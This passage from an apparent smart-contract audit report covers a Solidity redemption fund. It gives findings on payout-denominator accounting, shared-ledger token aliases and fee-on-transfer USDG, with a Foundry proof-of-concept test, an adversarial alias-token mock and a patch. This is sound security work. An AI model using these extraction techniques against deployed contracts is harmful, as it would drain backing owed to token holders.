        // Model Coin-auction payments and Fund-directed Coin LP fees accumulated in the Fund, plus base backing.
        vm.prank(CREATOR);
        IERC20(r.coin).transfer(r.fund, 400 ether);
        base.mint(r.fund, 1_000 ether);
        uint256 supply = Mine(r.mine).effectiveTotalSupply();
        uint256 fundCoin = IERC20(r.coin).balanceOf(r.fund);
        address[] memory tokens = new address[](1);
        tokens[0] = address(base);
        uint256[] memory mins = new uint256[](1);

        uint256 refundDust = base.balanceOf(CREATOR); // Unused seed base refunded at launch.
        uint256 snap = vm.snapshotState();
        vm.startPrank(CREATOR);
        IERC20(r.coin).approve(r.fund, 100 ether);
        Fund(r.fund).redeem(100 ether, CREATOR, tokens, mins, block.timestamp);
        vm.stopPrank();
        uint256 direct = base.balanceOf(CREATOR) - refundDust;
        vm.revertToState(snap);

        Fund(r.fund).burnCoin(fundCoin); // Permissionless; Periphery.redeem performs this first.
        vm.startPrank(CREATOR);
        IERC20(r.coin).approve(r.fund, 100 ether);
        Fund(r.fund).redeem(100 ether, CREATOR, tokens, mins, block.timestamp);
        vm.stopPrank();
        uint256 burnedFirst = base.balanceOf(CREATOR) - refundDust;

        assertEq(direct, uint256(1_000 ether) * 100 ether / supply);
        assertEq(burnedFirst, uint256(1_000 ether) * 100 ether / (supply - fundCoin));
        emit log_named_uint("fund-held Coin share of supply (bps)", fundCoin * 10_000 / supply);
        emit log_named_uint(
            "redeemer shortfall (bps of burn-first payout)", (burnedFirst - direct) * 10_000 / burnedFirst
        );
    }
}
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 348-353 — _effectiveTotalSupply() = coin.totalSupply() + pendingEmission(), with no adjustment for Coin held by Fund._

```
    /// @notice Returns current Coin total supply plus the active tenure's accrued unminted mining emission.
    /// @dev This view does not mint Coin, settle the slot, or change an occupied tenure's rate.
    /// @return amount Economically effective Coin supply in raw units.
    function effectiveTotalSupply() external view override returns (uint256 amount) {
        return coin.totalSupply() + pendingEmission();
    }
```
## Description

`Fund.redeem` snapshots `IMine(coin.minter()).effectiveTotalSupply()` and uses that gross value as the payout denominator, while `effectiveTotalSupply()` includes `coin.totalSupply()` plus pending emission. Consequently, Coin already held by the Fund remains in the denominator even though `redeem` subsequently collects and burns only `coinAmount` from the redeemer. Removing the Fund-held balance is possible through the separate permissionless `burnCoin` function, and `Periphery._redeemFund` explicitly performs that burn before forwarding a redemption. Direct callers are not required to use that wrapper or execute the maintenance operation, so identical redemptions receive different payouts depending on the call path. The included test confirms that a burn-first redemption uses `supply - fundCoin` and pays more than a direct redemption using the unadjusted supply.
## Root cause

`Fund.redeem` uses `effectiveTotalSupply()` without excluding or first burning the Fund's existing Coin balance, leaving a required accounting cleanup outside the direct redemption path.
## Impact

A holder redeeming directly while the Fund holds Coin receives less of each selected backing asset than under the burn-first accounting applied by the Periphery path. The shortfall remains in the Fund for later redemption, creating timing- and integration-dependent value transfer; it can also cause a caller-provided minimum payout to fail when the inflated denominator reduces the computed amount.
## Proof of concept
### Test case

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

import { Fund } from "../../src/core/Fund.sol";
import { Mine } from "../../src/core/Mine.sol";
import { Periphery } from "../../src/periphery/Periphery.sol";
import { Launchpad } from "../../src/launch/Launchpad.sol";
import { MockERC20 } from "./utils/Tokens.sol";
import { LaunchpadFixture } from "./utils/LaunchpadFixture.sol";

/// @notice PoC: direct Fund.redeem includes Fund-held Coin in the payout denominator.
contract Poc is LaunchpadFixture {
    address internal constant CREATOR = address(0xA11CE);
    address internal constant DIRECT_RECEIVER = address(0xD1EEC7);
    address internal constant BURN_FIRST_RECEIVER = address(0xB0121F57);
    address internal constant PROTOCOL_FEE = address(0xFEE);

    uint256 internal constant FUND_HELD_COIN = 400 ether;
    uint256 internal constant REDEEM_AMOUNT = 100 ether;
    uint256 internal constant BACKING_IN_FUND = 1_000 ether;

    MockERC20 internal usdg;
    MockERC20 internal backing;
    Launchpad internal launchpad;
    Periphery internal periphery;

    function setUp() external {
        vm.chainId(4_663);
        vm.warp(365 days);
        usdg = new MockERC20("Global Dollar", "USDG", 6);
        backing = new MockERC20("Backing Asset", "BACK", 18);
        launchpad = _deployLaunchpad(IERC20Metadata(address(usdg)), PROTOCOL_FEE);
        periphery = new Periphery(launchpad);
    }

    function test_Poc() external {
        Launchpad.LaunchRecord memory r = _launchWithCreatorCoinGrant();
        IERC20 coin = IERC20(r.coin);

        // Publicly reachable state: the Fund receives Coin (e.g. Coin-denominated strategy proceeds, LP fees, or dust)
        // and holds a non-Coin backing asset available for redemption.
        vm.prank(CREATOR);
        coin.transfer(r.fund, FUND_HELD_COIN);
        backing.mint(r.fund, BACKING_IN_FUND);

        uint256 grossSupplyIncludingFundCoin = Mine(r.mine).effectiveTotalSupply();
        assertEq(coin.balanceOf(r.fund), FUND_HELD_COIN);
        assertGt(grossSupplyIncludingFundCoin, FUND_HELD_COIN);

        (uint256 directPayout, uint256 directFundCoinAfter) = _directRedeemOnSnapshot(r, coin);
        uint256 burnFirstPayout = _peripheryBurnFirstRedeem(r, coin);

        assertEq(directPayout, BACKING_IN_FUND * REDEEM_AMOUNT / grossSupplyIncludingFundCoin);
        assertEq(burnFirstPayout, BACKING_IN_FUND * REDEEM_AMOUNT / (grossSupplyIncludingFundCoin - FUND_HELD_COIN));

        // The same Coin burn receives less backing through the public direct Fund path solely because Fund-held Coin
        // remained in the denominator. A patched Fund.redeem that burns/excludes Fund-held Coin would make this fail.
        assertLt(directPayout, burnFirstPayout, "direct redeem underpays compared with burn-first accounting");
        assertEq(directFundCoinAfter, FUND_HELD_COIN, "direct redeem leaves pre-existing Fund Coin unburned");
        assertEq(coin.balanceOf(r.fund), 0, "periphery burn-first path removes pre-existing Fund Coin");
    }

    function _directRedeemOnSnapshot(Launchpad.LaunchRecord memory r, IERC20 coin)
        private
        returns (uint256 payout, uint256 fundCoinAfter)
    {
        address[] memory tokens = _tokens();
        uint256[] memory mins = new uint256[](1);
        uint256 snap = vm.snapshotState();
        vm.startPrank(CREATOR);
        coin.approve(r.fund, REDEEM_AMOUNT);
        Fund(r.fund).redeem(REDEEM_AMOUNT, DIRECT_RECEIVER, tokens, mins, block.timestamp);
        vm.stopPrank();
        payout = backing.balanceOf(DIRECT_RECEIVER);
        fundCoinAfter = coin.balanceOf(r.fund);
        vm.revertToState(snap);
    }

    function _peripheryBurnFirstRedeem(Launchpad.LaunchRecord memory r, IERC20 coin) private returns (uint256 payout) {
        address[] memory tokens = _tokens();
        uint256[] memory mins = new uint256[](1);
        vm.startPrank(CREATOR);
        coin.approve(address(periphery), REDEEM_AMOUNT);
        periphery.redeem(r.launchId, REDEEM_AMOUNT, BURN_FIRST_RECEIVER, tokens, mins, block.timestamp);
        vm.stopPrank();
        payout = backing.balanceOf(BURN_FIRST_RECEIVER);
    }

    function _tokens() private view returns (address[] memory tokens) {
        tokens = new address[](1);
        tokens[0] = address(backing);
    }

    function _launchWithCreatorCoinGrant() private returns (Launchpad.LaunchRecord memory r) {
        usdg.mint(CREATOR, 1e6);
        vm.startPrank(CREATOR);
        usdg.approve(address(launchpad), 1e6);
        Launchpad.LaunchConfig memory config = _launchConfig(address(usdg));
        config.creatorCoinAmount = 1_000 ether;
        r = launchpad.launch("PoC Coin", "POC", "ipfs://poc", CREATOR, address(0), config);
        vm.stopPrank();
    }
}
```
### Setup script

```
#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   packages/contracts/test/minimal/Poc.t.sol

# build and run
cd 'packages/contracts'
forge build
forge test --match-path test/minimal/Poc.t.sol -vv
```
### Output

```
[output truncated: 1182 lines & 64.1318359375 KB skipped]
[test] forge test --match-path test/minimal/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/minimal/Poc.t.sol:Poc
[PASS] test_Poc() (gas: 18364541)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 642.46ms (2.61ms CPU time)

Ran 1 test suite in 643.48ms (642.46ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
### Considerations

PoC passed with `forge test --match-path test/minimal/Poc.t.sol -vv` on the `unit:contracts` Foundry harness. It proves the accounting divergence through real `Launchpad.launch`, real `Fund.redeem`, real `Fund.burnCoin` via `Periphery.redeem`, and real ERC-20 state changes. The PoC creates the required Fund-held Coin state by a public Coin transfer/donation from a creator-granted balance rather than executing an Auction or LP-fee accumulation path; this models the same on-chain state required by the bug.
### Validation reasoning

PoC validation command completed successfully.
## Remediation
### Explanation

Fund.redeem now subtracts the Fund's pre-existing Coin balance from Mine's effective total supply when snapshotting the redemption denominator, so direct redemptions use the same economically circulating supply as burn-first redemptions while preserving pending mining emission accounting.
### Patch

```diff
diff --git a/packages/contracts/src/core/Fund.sol b/packages/contracts/src/core/Fund.sol
--- a/packages/contracts/src/core/Fund.sol
+++ b/packages/contracts/src/core/Fund.sol
@@ -1,142 +1,143 @@
 // SPDX-License-Identifier: GPL-3.0-or-later
 pragma solidity 0.8.26;
 
 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
 import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
 import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
 
 import { ICoin } from "./interfaces/ICoin.sol";
 import { IMine } from "./interfaces/IMine.sol";
 
 /// @title Glazecorp Ownerless In-Kind Redemption Fund
 /// @author heesho
 /// @notice Holds the protocol's raw token backing and lets Coin holders redeem a selected in-kind basket.
 /// @dev Fund intentionally has no asset registry. Callers select the assets they want to redeem, which keeps a
 ///      malformed token from blocking every other asset in the treasury. Fund is ownerless and immutable: it has no
 ///      administrator, upgrade path, or successor. Non-Coin backing moves only through holder redemption;
 ///      Fund-held Coin may instead be destroyed through permissionless `burnCoin` calls.
 ///      Each selected payout rounds down in that token's raw units. Backing assets require standard, non-rebasing
 ///      ERC-20 accounting and transfers; fee-on-transfer, rebasing and shared-ledger alias tokens are unsupported.
 contract Fund is ReentrancyGuard {
     using SafeERC20 for IERC20;
 
     /// @notice Canonical Coin token burned by redemptions and permissionless maintenance.
     ICoin public immutable coin;
 
     /// @notice Emitted when Coin held by Fund is permanently burned.
     /// @param caller Account that triggered the burn.
     /// @param amount Raw Coin amount burned from Fund's balance.
     event CoinBurned(address indexed caller, uint256 amount);
     /// @notice Emitted after a holder completes a selective in-kind redemption.
     /// @param account Account whose Coin was burned.
     /// @param receiver Address that received the selected assets.
     /// @param coinAmount Raw Coin amount burned from `account`.
     /// @param tokenCount Number of unique selected asset addresses processed.
     event Redeemed(address indexed account, address indexed receiver, uint256 coinAmount, uint256 tokenCount);
     /// @notice Emitted once per selected asset so offchain indexers can reconstruct nominal redemption payouts.
     event AssetRedeemed(address indexed account, address indexed receiver, address indexed token, uint256 amount);
 
     /// @notice Raised when a redemption selects no backing assets.
     error EmptyTokenList();
     /// @notice Raised when a redemption selects Coin or zero, or the Coin dependency has no deployed code.
     /// @param token Forbidden selection or invalid constructor dependency.
     error ForbiddenToken(address token);
     /// @notice Raised when a selected token is not numerically greater than the preceding token.
     /// @param previous Previous token address in the submitted array.
     /// @param token Current token address, which is duplicated or out of order.
     error InvalidTokenOrder(address previous, address token);
     /// @notice Raised when a redemption receiver is the zero address or Fund itself.
     /// @param receiver Invalid requested receiver.
     error InvalidReceiver(address receiver);
     /// @notice Raised when a burn or redemption amount is zero.
     error ZeroAmount();
     /// @notice Raised when the caller-supplied redemption deadline has passed.
     error DeadlinePassed(uint256 deadline);
     /// @notice Raised when the token and minimum-amount arrays differ in length.
     error InvalidArrayLengths();
     /// @notice Raised when a selected asset's computed payout is below its supplied minimum.
     error MinimumAmountNotMet(address token, uint256 amount, uint256 minimum);
 
     /// @notice Creates the ownerless, registry-free treasury backing `coin_`.
     /// @param coin_ Nonzero deployed Coin token backed by this Fund.
     constructor(address coin_) {
         if (coin_ == address(0) || coin_.code.length == 0) revert ForbiddenToken(coin_);
         coin = ICoin(coin_);
     }
 
     /// @notice Burns Coin already held by Fund, including Coin received from an Auction payment.
     /// @dev Permissionless. Burns from Fund's own balance, never from the caller, and requires Fund to hold `amount`.
     ///      No backing asset is transferred by this maintenance operation.
     /// @param amount Nonzero raw Coin amount to burn from Fund's balance.
     function burnCoin(uint256 amount) external nonReentrant {
         if (amount == 0) revert ZeroAmount();
 
         coin.burn(amount);
 
         emit CoinBurned(msg.sender, amount);
     }
 
     /// @notice Burns Coin and returns the caller-selected pro-rata share of Fund assets.
     /// @dev The caller must hold and approve `coinAmount`. Every payout is
     ///      `floor(balanceBefore * coinAmount / effectiveSupplyBeforeBurn)` in the selected token's raw units.
     ///      One denominator includes all accrued unminted Mine emission. Balances are read before burning Coin.
     ///      Selected assets require standard, non-rebasing ERC-20 transfer and accounting semantics; fee-on-transfer,
     ///      rebasing, and shared-ledger alias tokens are unsupported. Tokens use strictly increasing numeric address
     ///      order, rejecting duplicates with one comparison per entry. Omitted tokens remain in Fund and the
     ///      redeemer permanently forfeits their share. The token array has no length cap beyond transaction gas.
     ///      Every computed payout must meet its paired minimum before Coin is collected or burned.
     ///      Periphery additionally checks actual receiver balance increases.
     ///      Any validation, burn, or transfer failure reverts the complete redemption.
     /// @param coinAmount Nonzero raw Coin amount transferred from and burned for the caller.
     /// @param receiver Nonzero, non-Fund address receiving every selected asset payout; may differ from the caller.
     /// @param tokens Nonempty array of nonzero, non-Coin token addresses in strictly increasing numeric order.
     /// @param minimumAmounts Minimum computed payouts in raw units, paired with `tokens`; zero accepts any payout.
     /// @param deadline Latest Unix timestamp at which redemption may execute, inclusive.
     function redeem(
         uint256 coinAmount,
         address receiver,
         address[] calldata tokens,
         uint256[] calldata minimumAmounts,
         uint256 deadline
     ) external nonReentrant {
         if (block.timestamp > deadline) revert DeadlinePassed(deadline);
         if (coinAmount == 0) revert ZeroAmount();
         if (receiver == address(0) || receiver == address(this)) revert InvalidReceiver(receiver);
 
         uint256 tokenCount = tokens.length;
         if (tokenCount == 0) revert EmptyTokenList();
         if (tokenCount != minimumAmounts.length) revert InvalidArrayLengths();
 
         // Pending mining emission is economically issued even though it is minted only when the active tenure ends.
-        // Include Mine's direct pending-emission view without mutating Mine.
-        uint256 supplyBeforeBurn = IMine(coin.minter()).effectiveTotalSupply();
+        // Exclude Fund-held Coin because it cannot claim backing and is removed by permissionless maintenance burns.
+        uint256 supplyBeforeBurn =
+            IMine(coin.minter()).effectiveTotalSupply() - IERC20(address(coin)).balanceOf(address(this));
         uint256[] memory payouts = new uint256[](tokenCount);
         address previous;
 
         // Snapshot every selected balance before collecting and burning Coin.
         for (uint256 i; i < tokenCount; ++i) {
             address token = tokens[i];
             if (token == address(0) || token == address(coin)) revert ForbiddenToken(token);
             if (uint160(token) <= uint160(previous)) revert InvalidTokenOrder(previous, token);
             previous = token;
             uint256 balance = IERC20(token).balanceOf(address(this));
             payouts[i] = Math.mulDiv(balance, coinAmount, supplyBeforeBurn);
             if (payouts[i] < minimumAmounts[i]) {
                 revert MinimumAmountNotMet(token, payouts[i], minimumAmounts[i]);
             }
         }
 
         IERC20(address(coin)).safeTransferFrom(msg.sender, address(this), coinAmount);
         coin.burn(coinAmount);
 
         for (uint256 i; i < tokenCount; ++i) {
             address token = tokens[i];
             uint256 payout = payouts[i];
             if (payout != 0) IERC20(token).safeTransfer(receiver, payout);
             emit AssetRedeemed(msg.sender, receiver, token, payout);
         }
 
         emit Redeemed(msg.sender, receiver, coinAmount, tokenCount);
     }
 }
```
### Affected files
- `packages/contracts/src/core/Fund.sol`
### Validation output

```
[output truncated: 1185 lines & 64.4853515625 KB skipped]
Ran 1 test suite in 644.05ms (642.99ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/minimal/Poc.t.sol:Poc
[FAIL: assertion failed: 62500000000000979960 != 50000000000000627174] test_Poc() (gas: 18654783)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger
```

---

# Shared-ledger token aliases are double-counted during redemption
**#303391**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Fund.sol` (3 locations)
#### Lines 19-20 — _The source explicitly identifies shared-ledger alias tokens as unsupported, confirming this is an un-enforced compatibility assumption._

```
///      Each selected payout rounds down in that token's raw units. Backing assets require standard, non-rebasing
///      ERC-20 accounting and transfers; fee-on-transfer, rebasing and shared-ledger alias tokens are unsupported.
```
⋯
#### Lines 117-128 — _Snapshot/payout loop computes a full pro-rata payout per selected token address without verifying distinct backing ledgers._ — _Fund validates only strictly increasing addresses and snapshots/calculates each selected address independently._

```
        // Snapshot every selected balance before collecting and burning Coin.
        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            if (token == address(0) || token == address(coin)) revert ForbiddenToken(token);
            if (uint160(token) <= uint160(previous)) revert InvalidTokenOrder(previous, token);
            previous = token;
            uint256 balance = IERC20(token).balanceOf(address(this));
            payouts[i] = Math.mulDiv(balance, coinAmount, supplyBeforeBurn);
            if (payouts[i] < minimumAmounts[i]) {
                revert MinimumAmountNotMet(token, payouts[i], minimumAmounts[i]);
            }
        }
```
⋯
#### Lines 130-140 — _Fund transfers each computed payout sequentially after one Coin burn._ — _Transfer loop pays out each selected token address independently, enabling double payment against a shared ledger._

```
        IERC20(address(coin)).safeTransferFrom(msg.sender, address(this), coinAmount);
        coin.burn(coinAmount);

        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            uint256 payout = payouts[i];
            if (payout != 0) IERC20(token).safeTransfer(receiver, payout);
            emit AssetRedeemed(msg.sender, receiver, token, payout);
        }

        emit Redeemed(msg.sender, receiver, coinAmount, tokenCount);
```
### `Uploaded archive/packages/contracts/test/minimal/utils/Tokens.sol`
#### Lines 221-284 — _Repository's own adversarial mock proving the shared-ledger multi-facade pattern is anticipated but not defended against in Fund._ — _The repository mock demonstrates distinct ERC-20 facade addresses sharing one balance ledger and debiting it on transfer._

```
/// @title SharedERC20Ledger
/// @notice Adversarial balance ledger exposed through multiple ERC-20 facade addresses.
contract SharedERC20Ledger {
    uint256 public totalSupply;
    mapping(address account => uint256 balance) public balanceOf;

    function mint(address receiver, uint256 amount) external {
        totalSupply += amount;
        balanceOf[receiver] += amount;
    }

    function move(address from, address to, uint256 amount) external {
        require(balanceOf[from] >= amount, "BALANCE");
        unchecked {
            balanceOf[from] -= amount;
            balanceOf[to] += amount;
        }
    }
}

/// @title SharedLedgerTokenAlias
/// @notice ERC-20 facade whose transfers mutate a ledger shared with sibling facade addresses.
contract SharedLedgerTokenAlias {
    SharedERC20Ledger public immutable ledger;
    mapping(address owner => mapping(address spender => uint256 amount)) public allowance;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(SharedERC20Ledger ledger_) {
        ledger = ledger_;
    }

    function totalSupply() external view returns (uint256) {
        return ledger.totalSupply();
    }

    function balanceOf(address account) external view returns (uint256) {
        return ledger.balanceOf(account);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        ledger.move(msg.sender, to, amount);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= amount, "ALLOWANCE");
            allowance[from][msg.sender] = allowed - amount;
        }
        ledger.move(from, to, amount);
        emit Transfer(from, to, amount);
        return true;
    }
}
```
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol` (2 locations)
#### Lines 90-95 — _Receiver balance-delta postcheck reads through the same aliasable ledger per token index and does not catch duplication._

```
        for (uint256 i; i < tokens.length; ++i) {
            amounts[i] = IERC20(tokens[i]).balanceOf(receiver) - amounts[i];
            if (amounts[i] < minimumAmounts[i]) {
                revert MinimumAmountNotMet(tokens[i], amounts[i], minimumAmounts[i]);
            }
        }
```
⋯
#### Lines 164-179 — _Periphery's snapshot/order validation only compares numeric addresses, not underlying asset identity._

```
    /// @dev Validates the selected token order and records receiver balances before redemption.
    function _snapshotBalances(address coin, address receiver, address[] calldata tokens)
        private
        view
        returns (uint256[] memory balances)
    {
        balances = new uint256[](tokens.length);
        address previous;
        for (uint256 i; i < tokens.length; ++i) {
            address token = tokens[i];
            if (token == address(0) || token == coin || token.code.length == 0) revert InvalidToken(token);
            if (uint160(token) <= uint160(previous)) revert InvalidTokenOrder(previous, token);
            previous = token;
            balances[i] = IERC20(token).balanceOf(receiver);
        }
    }
```
## Description

`Fund.redeem` treats strictly increasing token contract addresses as proof that each requested payout represents a distinct asset. It snapshots `balanceOf(address(this))` and calculates a pro-rata amount independently for every supplied address, then transfers every computed amount after burning `coinAmount`. Distinct `SharedLedgerTokenAlias` facades can expose the same `SharedERC20Ledger`, so each facade reports the same Fund balance while transfers through either facade debit the same underlying balance. Thus, including multiple aliases passes the address-order check yet causes the same backing balance to be counted once per alias. `Periphery` applies the same address-based ordering and per-index receiver-balance checks, so routing redemption through it does not identify that multiple legs draw from one shared ledger.
## Root cause

`Fund.redeem` and the Periphery validation logic use distinct token addresses as a proxy for independent assets without enforcing that selected ERC-20 contracts have independent balance ledgers.
## Impact

A redeemer able to select multiple facades for one Fund-held shared ledger can burn one `coinAmount` while receiving multiple pro-rata payouts calculated from the same underlying balance. This extracts more than that holder's proportional claim and reduces the actual backing available to remaining Coin holders; the attack depends on such an aliased backing asset being held by the Fund.

---

# Nominal USDG transfers can leave payment claims undercollateralized
**#303392**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (3 locations)
#### Lines 258-308 — _mine() mints emission and credits claimable liabilities before the token transfer that is supposed to back them._

```
    function mine(
        address miner,
        uint256 expectedEpochId,
        uint256 deadline,
        uint256 maximumPayment,
        string calldata message
    ) external nonReentrant returns (uint256 paymentAmount) {
        if (miner == address(0)) revert ZeroAddress();
        if (miner == fund) revert InvalidMiner(miner);
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        uint256 messageLength = bytes(message).length;
        if (messageLength > MAX_MESSAGE_BYTES) revert MessageTooLong(messageLength);
        Slot memory previousSlot = _slot;
        if (expectedEpochId != previousSlot.epochId) {
            revert EpochIdMismatch(expectedEpochId, previousSlot.epochId);
        }

        paymentAmount = _price(previousSlot);
        if (paymentAmount > maximumPayment) revert MaximumPaymentExceeded(paymentAmount, maximumPayment);

        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }

        _emitMined(miner, previousSlot, paymentAmount, nextSlot, message);
    }
```
⋯
#### Lines 310-324 — _claimPayment pays the full nominal liability, which can exceed Mine's actual retained balance if USDG took a transfer fee._

```
    /// @notice Pays an account's complete accumulated outgoing-miner and fee USDG claim.
    /// @dev Permissionless: the caller may trigger another account's claim, but payment always goes to `account`.
    ///      State is cleared before the standard USDG transfer; a failed transfer preserves the claim through rollback.
    /// @param account Beneficiary receiving its complete claim in raw USDG units.
    function claimPayment(address account) external nonReentrant {
        if (account == address(0)) revert ZeroAddress();
        uint256 amount = claimablePayment[account];
        if (amount == 0) revert NothingToClaim(account);

        claimablePayment[account] = 0;
        totalClaimablePayments -= amount;
        usdg.safeTransfer(account, amount);

        emit PaymentClaimed(account, amount);
    }
```
⋯
#### Lines 382-434 — _Liabilities allocated from nominal paymentAmount; collection and claim trust exact-amount token transfers without balance-delta measurement._ — _Claimable balances credited from nominal paymentAmount before/independent of actual transfer_ — _Comment explicitly assumes standard ERC-20 without balance verification_

```
    function _allocatePayment(address previousMiner, PaymentConfig memory fees, uint256 epochId, uint256 paymentAmount)
        private
        returns (uint256 revenueAmount)
    {
        if (paymentAmount == 0) return 0;

        uint256 previousMinerAmount;
        if (previousMiner != address(0)) {
            previousMinerAmount = Math.mulDiv(paymentAmount, PREVIOUS_MINER_BPS, BPS);
            claimablePayment[previousMiner] += previousMinerAmount;
            totalClaimablePayments += previousMinerAmount;
            emit MinerPaymentAccrued(previousMiner, epochId, previousMinerAmount);
        }

        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
    }

    /// @dev Pulls the complete raw USDG payment from `payer`, then transfers the exhaustive remainder to
    ///      the snapshotted revenue destination. The retained balance backs all pull claims. Sender and receiver
    ///      balance deltas are not checked because USDG is assumed to be a standard, non-rebasing ERC-20.
    /// @param payer Account funding the replacement.
    /// @param router Revenue destination snapshotted before the replacement's token interactions.
    /// @param epochId Identifier of the tenure consumed by the replacement.
    /// @param paymentAmount Complete raw USDG amount pulled from `payer`.
    /// @param revenueAmount Raw USDG amount transferred to the snapshotted destination.
    function _collectAndDeposit(
        address payer,
        address router,
        uint256 epochId,
        uint256 paymentAmount,
        uint256 revenueAmount
    ) private {
        usdg.safeTransferFrom(payer, address(this), paymentAmount);
        usdg.safeTransfer(router, revenueAmount);

        emit RevenueDeposited(epochId, router, revenueAmount);
    }
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 200-232 — _Launchpad constructor admits usdg_ solely via decimals()==6 and code-length check, with no transfer-semantics validation._ — _Only decimals()==6 and code-presence are validated for USDG; no behavioral (fee-on-transfer) compatibility check at launch time._ — _Only decimals()==6 check validates USDG; no transfer-safety invariant enforced_

```
    /// @notice Binds verified stateless deployers, the pool factory, USDG and mining fee administration.
    constructor(
        IERC20Metadata usdg_,
        LaunchDeployers memory deployers_,
        FullRangeFactory poolFactory_,
        address initialOwner,
        address initialProtocolFeeRecipient
    ) Ownable(initialOwner) {
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
        if (usdg_.decimals() != 6) revert InvalidLaunchConfig();
        usdg = usdg_;
        poolFactory = poolFactory_;
        coinDeployer = deployers_.coinDeployer;
        fundDeployer = deployers_.fundDeployer;
        signalDeployer = deployers_.signalDeployer;
        mineDeployer = deployers_.mineDeployer;
        resonanceDeployer = deployers_.resonanceDeployer;
        routerDeployer = deployers_.routerDeployer;
        controllerDeployer = deployers_.controllerDeployer;
        bribeFactory = deployers_.bribeFactory;
        auctionFactory = deployers_.auctionFactory;
        protocolFeeRecipient = initialProtocolFeeRecipient;
    }
```
## Description

`Mine` calculates beneficiary liabilities from the nominal `paymentAmount` in `_allocatePayment`, then settles the slot and updates the next slot before `_collectAndDeposit` attempts to collect the payment. `_collectAndDeposit` treats successful `safeTransferFrom` and `safeTransfer` calls as proof that the requested USDG amounts moved, despite explicitly performing no balance-delta checks. Consequently, a fee-charging, partial-transfer, or successful no-op USDG implementation can leave Mine with less than the liabilities recorded in `claimablePayment` and `totalClaimablePayments`. `claimPayment` nevertheless attempts to pay each beneficiary's full nominal balance, so the retained USDG balance need not cover all outstanding claims. Launchpad admits the payment token based on contract presence and `decimals() == 6`, which does not enforce the exact-transfer behavior this accounting requires.
## Root cause

`Mine` credits and distributes liabilities from nominal `paymentAmount` while trusting successful USDG transfer calls rather than enforcing exact balance deltas, and `Launchpad` does not constrain USDG to that assumed transfer behavior.
## Impact

A caller can replace a mining slot while providing less real USDG than the nominal payment used to settle the previous slot and accrue miner, creator, and protocol claims. Existing retained USDG can then be consumed to satisfy overstated liabilities, while later beneficiaries may be unable to claim because Mine lacks the recorded amount.

---

# Fee and revenue routing changes take effect without delay
**#303393**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 215-243 — _Immediate-effect privileged setters_ — _Mine owner setters directly replace the future fee recipient, rate, and revenue router._

```
